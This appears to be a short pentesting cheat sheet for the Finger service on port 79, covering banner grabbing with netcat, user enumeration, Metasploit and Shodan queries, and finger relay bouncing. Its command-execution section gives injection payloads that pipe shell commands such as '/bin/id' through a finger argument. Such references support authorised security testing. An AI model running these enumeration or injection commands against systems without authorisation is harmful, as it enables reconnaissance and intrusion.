79 - Pentesting Finger

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Basic Info

The Finger program/service is utilized for retrieving details about computer users. Typically, the information provided includes the user's login name, full name, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files.

Default port: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

Banner Grabbing/Basic connection

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79

User enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user

Alternatively you can use finger-user-enum from pentestmonkey, some examples:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt

Nmap execute a script for doing using default scripts

Metasploit uses more tricks than Nmap

use auxiliary/scanner/finger/finger_users

Shodan

port:79 USER

Command execution

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external